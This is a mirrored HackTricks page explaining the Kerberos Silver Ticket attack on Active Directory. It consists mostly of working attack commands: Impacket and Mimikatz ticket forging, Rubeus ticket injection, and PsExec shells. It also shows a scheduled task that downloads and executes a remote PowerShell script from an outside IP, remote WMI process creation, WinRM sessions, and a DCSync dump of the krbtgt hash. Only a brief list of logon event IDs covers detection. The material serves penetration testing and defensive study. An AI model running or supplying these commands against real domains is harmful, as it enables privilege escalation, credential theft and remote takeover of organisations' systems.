Mirrors/hacktricks

Fork 0

mirror of https://github.com/carlospolop/hacktricks synced 2024-11-22 12:43:23 +00:00

CPol c155919fda

GitBook: [#3441 ] No subject

2022-09-01 22:02:18 +00:00

10 KiB

Raw Blame History

Silver Ticket

Support HackTricks and get benefits!

Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!

Discover The PEASS Family, our collection of exclusive NFTs

Get the official PEASS & HackTricks swag

Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦@carlospolopm.

Share your hacking tricks submitting PRs to the hacktricks github repo.

{% hint style="danger" %}

If you are interested in hacking carer and hack the unhackable - we are hiring! (fluent polish written and spoken required).

{% embed url="https://www.stmcyber.com/careers" %} {% endhint %}

Silver ticket

The Silver ticket attack is based on crafting a valid TGS for a service once the NTLM hash of service is owned (like the PC account hash). Thus, it is possible to gain access to that service by forging a custom TGS as any user.

In this case, the NTLM hash of a computer account (which is kind of a user account in AD) is owned. Hence, it is possible to craft a ticket in order to get into that machine with administrator privileges through the SMB service. The computer accounts reset their passwords every 30 days by default.

It also must be taken into account that it is possible AND PREFERABLE (opsec) to forge tickets using the AES Kerberos keys (AES128 and AES256). To know how to generate an AES key read: section 4.4 of MS-KILE or the Get-KerberosAESKey.ps1.

{% code title="Linux" %}

python ticketer.py -nthash b18b4b218eccad1c223306ea1916885f -domain-sid S-1-5-21-1339291983-1349129144-367733775 -domain jurassic.park -spn cifs/labwws02.jurassic.park stegosaurus
export KRB5CCNAME=/root/impacket-examples/stegosaurus.ccache 
python psexec.py jurassic.park/stegosaurus@labwws02.jurassic.park -k -no-pass

{% endcode %}

In Windows, Mimikatz can be used to craft the ticket. Next, the ticket is injected with Rubeus, and finally a remote shell can be obtained thanks to PsExec.

{% code title="Windows" %}

#Create the ticket
mimikatz.exe "kerberos::golden /domain:jurassic.park /sid:S-1-5-21-1339291983-1349129144-367733775 /rc4:b18b4b218eccad1c223306ea1916885f /user:stegosaurus /service:cifs /target:labwws02.jurassic.park"
#Inject in memory using mimikatz or Rubeus
mimikatz.exe "kerberos::ptt ticket.kirbi"
.\Rubeus.exe ptt /ticket:ticket.kirbi
#Obtain a shell
.\PsExec.exe -accepteula \\labwws02.jurassic.park cmd

#Example using aes key
kerberos::golden /user:Administrator /domain:jurassic.park /sid:S-1-5-21-1339291983-1349129144-367733775 /target:labwws02.jurassic.park /service:cifs /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05 /ticket:srv2-cifs.kirbi

{% endcode %}

The CIFS service is the one that allows you to access the file system of the victim. You can find other services here: https://adsecurity.org/?page_id=183. For example, you can use the HOST service to create a schtask in a computer. Then you can check if this has worked trying to list the tasks of the victim: schtasks /S <hostname> or you can use the HOST and RPCSS service to execute WMI queries in a computer, test it doing: Get-WmiObject -Class win32_operatingsystem -ComputerName <hostname>

Mitigation

Silver ticket events ID (more stealth than golden ticket):

4624: Account Logon
4634: Account Logoff
4672: Admin Logon

More information about Silver Tickets in ired.team

Available Services

Service Type	Service Silver Tickets
WMI	HOST RPCSS
PowerShell Remoting	HOST HTTP Depending on OS also: WSMAN RPCSS
WinRM	HOST HTTP In some occasions you can just ask for: WINRM
Scheduled Tasks	HOST
Windows File Share, also psexec	CIFS
LDAP operations, included DCSync	LDAP
Windows Remote Server Administration Tools	RPCSS LDAP CIFS
Golden Tickets	krbtgt

Using Rubeus you may ask for all these tickets using the parameter:

/altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm

Abusing Service tickets

In the following examples lets imagine that the ticket is retrieved impersonating the administrator account.

CIFS

With this ticket you will be able to access the C$ and ADMIN$ folder via SMB (if they are exposed) and copy files to a part of the remote filesystem just doing something like:

dir \\vulnerable.computer\C$
dir \\vulnerable.computer\ADMIN$
copy afile.txt \\vulnerable.computer\C$\Windows\Temp

You will also be able to obtain a shell inside the host or execute arbitrary commands using psexec:

{% content-ref url="../ntlm/psexec-and-winexec.md" %} psexec-and-winexec.md {% endcontent-ref %}

HOST

With this permission you can generate scheduled tasks in remote computers and execute arbitrary commands:

#Check you have permissions to use schtasks over a remote server
schtasks /S some.vuln.pc
#Create scheduled task, first for exe execution, second for powershell reverse shell download
schtasks /create /S some.vuln.pc /SC weekly /RU "NT Authority\System" /TN "SomeTaskName" /TR "C:\path\to\executable.exe"
schtasks /create /S some.vuln.pc /SC Weekly /RU "NT Authority\SYSTEM" /TN "SomeTaskName" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1''')'"
#Check it was successfully created
schtasks /query /S some.vuln.pc
#Run created schtask now
schtasks /Run /S mcorp-dc.moneycorp.local /TN "SomeTaskName"

HOST + RPCSS

With these tickets you can execute WMI in the victim system:

#Check you have enough privileges
Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local
#Execute code
Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlist "$RunCommand"

#You can also use wmic
wmic remote.computer.local list full /format:list

Find more information about wmiexec in the following page:

{% content-ref url="../ntlm/wmicexec.md" %} wmicexec.md {% endcontent-ref %}

HOST + WSMAN (WINRM)

With winrm access over a computer you can access it and even get a PowerShell:

New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC

Check the following page to learn more ways to connect with a remote host using winrm:

{% content-ref url="../ntlm/winrm.md" %} winrm.md {% endcontent-ref %}

{% hint style="warning" %} Note that winrm must be active and listening on the remote computer to access it. {% endhint %}

LDAP

With this privilege you can dump the DC database using DCSync:

mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt

Learn more about DCSync in the following page:

{% content-ref url="dcsync.md" %} dcsync.md {% endcontent-ref %}